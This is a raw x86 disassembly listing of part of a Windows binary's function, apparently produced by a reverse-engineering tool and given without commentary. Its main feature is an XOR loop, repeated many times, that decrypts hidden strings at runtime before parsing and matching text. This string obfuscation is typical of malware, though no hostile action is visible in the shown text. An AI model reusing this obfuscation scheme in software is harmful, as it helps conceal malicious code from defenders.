mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3d], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 9
jl 0x412bd3
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x208], 0xf
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412c20
sub ecx, edx
push ecx
lea eax, [ebp - 0x3d]
push eax
lea ecx, [ebp - 0x21c]
call fcn.00401820
lea eax, [ebp - 0x15c]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x2c], eax
mov ecx, dword [0x434bac]
mov dword [ebp - 0x34], ecx
mov cl, byte [0x434bb0]
mov byte [ebp - 0x30], cl
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x34], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 5
jl 0x412c80
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x3d8], 0xf
lea ecx, [ebp - 0x34]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412cd0
sub ecx, edx
push ecx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x3ec]
call fcn.00401820
movq xmm0, qword [0x434ba0]
movq qword [ebp - 0x3d], xmm0
mov al, byte [0x434ba8]
mov byte [ebp - 0x35], al
xor edx, edx
mov dword [ebp - 0x24], edx
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3d], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 9
jl 0x412d03
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412d45
sub ecx, edx
push ecx
lea eax, [ebp - 0x3d]
push eax
lea ecx, [ebp - 0x7c]
call fcn.00401820
lea eax, [ebp - 0x27c]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x37c]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x404]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x34], eax
mov ecx, dword [0x434b98]
mov dword [ebp - 0x42], ecx
mov cl, byte [0x434b9c]
mov byte [ebp - 0x3e], cl
xor edx, edx
mov dword [ebp - 0x24], edx
nop dword [eax]
mov eax, 0x8d3dcb09
mul edx
shr edx, 5
movsx eax, dl
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x42], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 5
jl 0x412da0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
lea ecx, [ebp - 0x42]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412df0
sub ecx, edx
push ecx
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00401820
push dword [ebp - 0x34]
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x27c]
call fcn.00408c30
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x27c]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x470]
call fcn.00408c30
push dword [ebp - 0x2c]
lea eax, [ebp - 0x470]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x458]
call fcn.00408c30
lea eax, [ebp - 0x394]
push eax
lea eax, [ebp - 0x458]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x440]
call fcn.00408c30
push dword [ebp - 0x50]
lea eax, [ebp - 0x440]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x428]
call fcn.00408c30
lea eax, [ebp - 0x1ec]
push eax
lea eax, [ebp - 0x428]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x3c8]
call fcn.00408c30
push dword [ebp - 0x64]
lea eax, [ebp - 0x3c8]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x4f8]
call fcn.00408c30
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x4f8]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x2dc]
call fcn.00408c30
push dword [ebp - 0x54]
lea eax, [ebp - 0x2dc]
push eax
push dword [ebp - 0x54]
lea ecx, [ebp - 0x3ac]
call fcn.00408c30
lea ecx, [ebp - 0x2dc]
call fcn.00401290
lea ecx, [ebp - 0x4f8]
call fcn.00401290
lea ecx, [ebp - 0x3c8]
call fcn.00401290
lea ecx, [ebp - 0x428]
call fcn.00401290
lea ecx, [ebp - 0x440]
call fcn.00401290
lea ecx, [ebp - 0x458]
call fcn.00401290
lea ecx, [ebp - 0x470]
call fcn.00401290
lea ecx, [ebp - 0x27c]
call fcn.00401290
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x412f83
inc edx
mov ecx, dword [ebp - 0x12c]
mov eax, ecx
cmp edx, 0x1000
jb 0x412f79
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
lea ecx, [ebp - 0x404]
call fcn.00401290
lea ecx, [ebp - 0x37c]
call fcn.00401290
mov edx, dword [ebp - 0x68]
cmp edx, 0x10
jb 0x412fcd
inc edx
mov ecx, dword [ebp - 0x7c]
mov eax, ecx
cmp edx, 0x1000
jb 0x412fc3
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov edx, dword [ebp - 0x3d8]
cmp edx, 0x10
jb 0x413007
inc edx
mov ecx, dword [ebp - 0x3ec]
mov eax, ecx
cmp edx, 0x1000
jb 0x412ffd
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
lea ecx, [ebp - 0x2f4]
call fcn.00401290
lea ecx, [ebp - 0x30c]
call fcn.00401290
mov edx, dword [ebp - 0x208]
cmp edx, 0x10
jb 0x413057
inc edx
mov ecx, dword [ebp - 0x21c]
mov eax, ecx
cmp edx, 0x1000
jb 0x41304d
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov edx, dword [ebp - 0x380]
cmp edx, 0x10
jb 0x413091
inc edx
mov ecx, dword [ebp - 0x394]
mov eax, ecx
cmp edx, 0x1000
jb 0x413087
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
lea ecx, [ebp - 0x324]
call fcn.00401290
lea ecx, [ebp - 0x33c]
call fcn.00401290
mov edx, dword [ebp - 0x1f0]
cmp edx, 0x10
jb 0x4130e1
inc edx
mov ecx, dword [ebp - 0x204]
mov eax, ecx
cmp edx, 0x1000
jb 0x4130d7
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov edx, dword [ebp - 0x1d8]
cmp edx, 0x10
jb 0x41311b
inc edx
mov ecx, dword [ebp - 0x1ec]
mov eax, ecx
cmp edx, 0x1000
jb 0x413111
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
lea ecx, [ebp - 0x294]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
mov edx, dword [ebp - 0x130]
cmp edx, 0x10
jb 0x41316b
inc edx
mov ecx, dword [ebp - 0x144]
mov eax, ecx
cmp edx, 0x1000
jb 0x413161
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov edx, dword [ebp - 0x220]
cmp edx, 0x10
jb 0x4131a5
inc edx
mov ecx, dword [ebp - 0x234]
mov eax, ecx
cmp edx, 0x1000
jb 0x41319b
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x98]
call fcn.00401290
mov edx, dword [ebp - 0x238]
cmp edx, 0x10
jb 0x4131f5
inc edx
mov ecx, dword [ebp - 0x24c]
mov eax, ecx
cmp edx, 0x1000
jb 0x4131eb
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
mov edx, dword [ebp - 0x250]
cmp edx, 0x10
jb 0x41322f
inc edx
mov ecx, dword [ebp - 0x264]
mov eax, ecx
cmp edx, 0x1000
jb 0x413225
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4148ee
push edx
push ecx
call fcn.00415e4d
add esp, 8
lea eax, [ebp - 0x3ac]
cmp dword [ebp - 0x398], 0x10
cmovae eax, dword [ebp - 0x3ac]
push dword [ebp - 0x39c]
push eax
push 0x4453c8
call fcn.004073f0
push eax
call fcn.00408140
add esp, 0x10
nop dword [eax]
movups xmm0, xmmword [str._LMJ]
movups xmmword [ebp - 0x3d4], xmm0
movups xmm0, xmmword [0x434c14]
movups xmmword [ebp - 0x3c4], xmm0
mov eax, dword [0x434c24]
mov dword [ebp - 0x3b4], eax
mov ax, word [0x434c28]
mov word [ebp - 0x3b0], ax
mov al, byte [0x434c2a]
mov byte [ebp - 0x3ae], al
xor edx, edx
mov dword [ebp - 0x24], edx
cmp esi, 2
jl 0x4133f3
movaps xmm4, xmmword [0x434550]
movaps xmm3, xmmword [0x435130]
movd xmm5, edi
movaps xmm6, xmmword [str.::::]
mov eax, 0x1f
movd xmm7, eax
movaps xmm0, xmmword [0x435110]
movaps xmmword [ebp - 0x60], xmm0
mov ecx, dword [ebp - 0x60]
nop dword [eax]
movd xmm0, edx
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x3d4]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x3d4], xmm1
lea eax, [edx + 4]
movd xmm0, eax
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
pand xmm1, xmmword [0x4346b0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [ebp + edx - 0x3d0]
pxor xmm1, xmm0
movd dword [ebp + edx - 0x3d0], xmm1
add edx, 8
cmp edx, 0x20
jl 0x4132e0
mov dword [ebp - 0x24], edx
cmp edx, 0x27
jge 0x413427
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x24]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x24]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x3d4], cl
inc edx
mov dword [ebp - 0x24], edx
cmp edx, 0x27
jl 0x4133f3
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
lea ecx, [ebp - 0x3d4]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413450
sub ecx, edx
push ecx
lea eax, [ebp - 0x3d4]
push eax
lea ecx, [ebp - 0x12c]
call fcn.00401820
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x114]
lea edi, [ebp - 0x12c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x34], edi
cmp edi, eax
je 0x4148c5
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x24], eax
cmp dword [edi + 0x14], 0x10
jb 0x41349d
mov edi, dword [edi]
cmp eax, 0x10
jae 0x4134b2
movups xmm0, xmmword [edi]
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x68], 0xf
jmp 0x4134e5
mov esi, eax
or esi, 0xf
mov eax, SysReAllocString
cmp esi, eax
cmova esi, eax
lea eax, [esi + 1]
push eax
lea ecx, [ebp - 0x7c]
call fcn.004017c0
mov dword [ebp - 0x7c], eax
mov ecx, dword [ebp - 0x24]
inc ecx
push ecx
push edi
push eax
call fcn.00416d60
add esp, 0xc
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x6c], eax
mov dword [ebp - 4], 0
wait
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x19c]
call fcn.00408af0
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.004070a0
add esp, 0xc
mov ecx, eax
call fcn.00406040
push eax
lea eax, [ebp - 0x234]
push eax
call fcn.004055f0
add esp, 8
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
movq xmm0, qword [0x434c2c]
movq qword [ebp - 0x362], xmm0
mov ax, word [0x434c34]
mov word [ebp - 0x35a], ax
test ah, ah
je 0x4135a5
xor edx, edx
mov dword [ebp - 0x110], edx
cmp edx, 0xa
jge 0x4135a5
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x110]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x110]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x362], cl
inc edx
jmp 0x413566
push 0
lea eax, [ebp - 0x362]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
push eax
lea ecx, [ebp - 0x234]
call fcn.00410190
mov esi, eax
lea ecx, [ebp - 0x98]
call fcn.00401290
cmp esi, 0xffffffff
je 0x413633
mov byte [ebp - 0x25], 0
lea eax, [ebp - 0x4de]
push eax
lea ecx, [ebp - 0x25]
call fcn.004093e0
mov edi, eax
cmp byte [edi + 5], 0
je 0x4148f3
xor ecx, ecx
mov dword [ebp - 0x1ac], ecx
cmp ecx, 6
jge 0x4148f3
lea esi, [ecx + edi]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x1ac]
inc ecx
jmp 0x4135f8
mov ax, word [0x434c40]
mov word [ebp - 0x2b], ax
mov al, byte [0x434c42]
mov byte [ebp - 0x29], al
xor edx, edx
mov dword [ebp - 0x114], edx
cmp edx, 3
jge 0x413683
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0x114]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0x114]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x2b], cl
inc edx
jmp 0x413647
push 0
lea eax, [ebp - 0x2b]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
push eax
lea ecx, [ebp - 0x234]
call fcn.00410190
mov esi, eax
lea ecx, [ebp - 0x98]
call fcn.00401290
cmp esi, 0xffffffff
jne 0x41370e
mov byte [ebp - 0x43], 0
lea eax, [ebp - 0x4be]
push eax
lea ecx, [ebp - 0x43]
call fcn.004093c0
mov edi, eax
cmp byte [edi + 5], 0
je 0x414910
xor ecx, ecx
mov dword [ebp - 0x1a8], ecx
cmp ecx, 6
jge 0x414910
lea esi, [ecx + edi]
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
sub cl, al
add cl, 0x37
xor byte [esi], cl
mov ecx, dword [ebp - 0x1a8]
inc ecx
jmp 0x4136d3
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x1f0], 0
xor edi, edi
push edi
push 0xa
lea ecx, [ebp - 0x234]
call fcn.004101d0
mov esi, eax
cmp esi, 0xffffffff
je 0x413778
mov ecx, esi
sub ecx, edi
push ecx
push edi
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x234]
call fcn.004060d0
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00410c80
lea ecx, [ebp - 0x98]
call fcn.00401290
lea edi, [esi + 1]
push edi
jmp 0x41372f
mov edi, dword [ebp - 0x1f8]
mov dword [ebp - 0x340], edi
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x24], edi
cmp edi, eax
je 0x4147fc
push 0
push 0x434e04
mov ecx, edi
call fcn.00410210
cmp eax, 0xffffffff
jne 0x4147fc
push edi
lea eax, [ebp - 0x1cc]
push eax
call fcn.00410390
add esp, 8
mov esi, eax
movq xmm0, qword [0x434c4c]
movq qword [ebp - 0x29d], xmm0
mov cl, byte [0x434c54]
mov byte [ebp - 0x295], cl
xor edx, edx
mov dword [ebp - 0xcc], edx
cmp edx, 9
jge 0x41381e
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xcc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xcc]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x29d], cl
inc edx
jmp 0x4137df
lea eax, [ebp - 0x29d]
push eax
lea ecx, [ebp - 0x19c]
call fcn.00405340
push 0x7c
push esi
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00410e20
add esp, 0xc
push eax
lea eax, [ebp - 0x1e0]
push eax
call fcn.004115a0
add esp, 0xc
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
push dword [ebp - 0x1e0]
lea ecx, [ebp - 0x24c]
call fcn.00408af0
mov eax, dword [ebp - 0x1e0]
add eax, 0x18
push eax
lea ecx, [ebp - 0x264]
call fcn.00408af0
mov eax, dword [str.SQJQDX_t]
mov ecx, dword [0x434c5c]
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d0], ecx
cmp byte [0x434c5f], 0
je 0x4138fb
xor edx, edx
mov dword [ebp - 0xd0], edx
cmp edx, 8
jge 0x4138fb
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xd0]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xd0]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x1d4], cl
inc edx
jmp 0x4138bc
push 0
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
push eax
lea ecx, [ebp - 0x264]
call fcn.00410190
mov esi, eax
lea ecx, [ebp - 0x98]
call fcn.00401290
cmp esi, 0xffffffff
je 0x413c72
mov eax, dword [0x434c70]
mov dword [ebp - 0x42], eax
mov al, byte [0x434c74]
mov byte [ebp - 0x3e], al
xor edx, edx
mov dword [ebp - 0xd4], edx
cmp edx, 5
jge 0x41397f
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xd4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xd4]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x42], cl
inc edx
jmp 0x413943
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x294]
call fcn.00405340
mov esi, eax
push 0x18
lea eax, [ebp - 0x1cc]
push eax
call fcn.00406200
add esp, 8
mov dword [ebp - 0x54], eax
movups xmm0, xmmword [0x434c60]
movups xmmword [ebp - 0x214], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x413a00
xor edx, edx
mov dword [ebp - 0xd8], edx
cmp edx, 0x10
jge 0x413a00
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xd8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xd8]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x214], cl
inc edx
jmp 0x4139c1
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x19c]
call fcn.00405340
push dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.00407080
push esi
push eax
lea eax, [ebp - 0x2dc]
push eax
call fcn.00407080
add esp, 0x18
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
lea ecx, [ebp - 0x294]
call fcn.00401290
mov eax, dword [ebp - 0x1e0]
add eax, 0x30
push eax
lea ecx, [ebp - 0x27c]
call fcn.00408af0
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x27c]
push eax
call fcn.004029c0
lea eax, [ebp - 0x2dc]
push eax
call fcn.0040b0f0
add esp, 0xc
movq xmm0, qword [0x434c80]
movq qword [ebp - 0x2a6], xmm0
mov al, byte [0x434c88]
mov byte [ebp - 0x29e], al
xor edx, edx
mov dword [ebp - 0xdc], edx
cmp edx, 9
jge 0x413af2
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xdc]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xdc]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x2a6], cl
inc edx
jmp 0x413ab3
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x2a6]
push eax
lea ecx, [ebp - 0x37c]
call fcn.00405340
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.0040f1a0
add esp, 0x14
mov dword [ebp - 0x54], eax
mov ecx, dword [0x434c78]
mov dword [ebp - 0x170], ecx
mov cx, word [0x434c7c]
mov word [ebp - 0x16c], cx
test ch, ch
je 0x413b8a
xor edx, edx
mov dword [ebp - 0xe0], edx
cmp edx, 6
jge 0x413b8a
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xe0]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xe0]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x170], cl
inc edx
jmp 0x413b4b
lea eax, [ebp - 0x170]
push eax
lea ecx, [ebp - 0x324]
call fcn.00405340
mov esi, eax
lea eax, [ebp - 0x3ac]
push eax
lea eax, [ebp - 0x7c]
push eax
lea ecx, [ebp - 0x33c]
call fcn.00408af0
push eax
lea eax, [ebp - 0x294]
push eax
call fcn.004070a0
push esi
push eax
lea eax, [ebp - 0x1cc]
push eax
call fcn.00407080
push dword [ebp - 0x54]
push eax
lea eax, [ebp - 0x19c]
push eax
call fcn.00407080
add esp, 0x24
mov ecx, eax
call fcn.00406040
push eax
lea eax, [ebp - 0x98]
push eax
call fcn.004055f0
add esp, 8
lea ecx, [ebp - 0x98]
call fcn.00401290
lea ecx, [ebp - 0x19c]
call fcn.00401290
lea ecx, [ebp - 0x1cc]
call fcn.00401290
lea ecx, [ebp - 0x294]
call fcn.00401290
lea ecx, [ebp - 0x33c]
call fcn.00401290
lea ecx, [ebp - 0x324]
call fcn.00401290
lea ecx, [ebp - 0x30c]
call fcn.00401290
lea ecx, [ebp - 0x2f4]
call fcn.00401290
lea ecx, [ebp - 0x37c]
call fcn.00401290
lea ecx, [ebp - 0x27c]
call fcn.00401290
lea ecx, [ebp - 0x2dc]
call fcn.00401290
mov eax, dword [str.Z_T_CY]
mov dword [ebp - 0x163], eax
mov ax, word [0x434c90]
mov word [ebp - 0x15f], ax
mov al, byte [0x434c92]
mov byte [ebp - 0x15d], al
xor edx, edx
mov dword [ebp - 0xe4], edx
cmp edx, 7
jge 0x413cd6
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xe4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xe4]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x163], cl
inc edx
jmp 0x413c97
push 0
lea eax, [ebp - 0x163]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
push eax
lea ecx, [ebp - 0x264]
call fcn.00410190
mov esi, eax
lea ecx, [ebp - 0x98]
call fcn.00401290
cmp esi, 0xffffffff
je 0x413fe2
mov eax, dword [ebp - 0x1e0]
add eax, 0x30
push eax
lea ecx, [ebp - 0x27c]
call fcn.00408af0
lea ecx, [ebp - 0x27c]
call fcn.00406040
push eax
lea eax, [ebp - 0x388]
push eax
call fcn.00405420
add esp, 8
mov esi, dword [ebp - 0x384]
mov edi, dword [ebp - 0x388]
sub esi, edi
movups xmm0, xmmword [0x434c94]
movups xmmword [ebp - 0x4b1], xmm0
movups xmm0, xmmword [0x434ca4]
movups xmmword [ebp - 0x4a1], xmm0
movups xmm0, xmmword [0x434cb4]
movups xmmword [ebp - 0x491], xmm0
movq xmm0, qword [0x434cc4]
movq qword [ebp - 0x481], xmm0
mov ax, word [0x434ccc]
mov word [ebp - 0x479], ax
xor edx, edx
mov dword [ebp - 0xe8], edx
cmp edx, 0x3a
jge 0x413dd2
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xe8]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xe8]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x4b1], cl
inc edx
jmp 0x413d93
push esi
push edi
lea eax, [ebp - 0x4b1]
push eax
lea ecx, [ebp - 0x98]
call fcn.00405340
mov ecx, eax
call fcn.00406040
push eax
call fcn.00404740
add esp, 0xc
lea ecx, [ebp - 0x98]
call fcn.00401290
movq xmm0, qword [0x434cd8]
movq qword [ebp - 0x2af], xmm0
mov al, byte [0x434ce0]
mov byte [ebp - 0x2a7], al
xor edx, edx
mov dword [ebp - 0xec], edx
cmp edx, 9
jge 0x413e5d
mov eax, 0x8d3dcb09
imul edx
add edx, dword [ebp - 0xec]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x3a
mov edx, dword [ebp - 0xec]
mov cl, dl
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x2af], cl
inc edx
jmp 0x413e1e
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x2af]
push eax
lea ecx, [ebp - 0x37c]
call fcn.00405340
push eax
lea eax, [ebp - 0x2f4]
push eax
call fcn.00410e20
push eax
lea eax, [ebp - 0x30c]
push eax
call fcn.0040f1a0
add esp, 0x14
mov edi, eax
mov ecx, dword [0x434cd0]
mov dword [ebp - 0x176], ecx
mov cx, word [0x434cd4]
mov word [ebp - 0x172], cx
test ch, ch
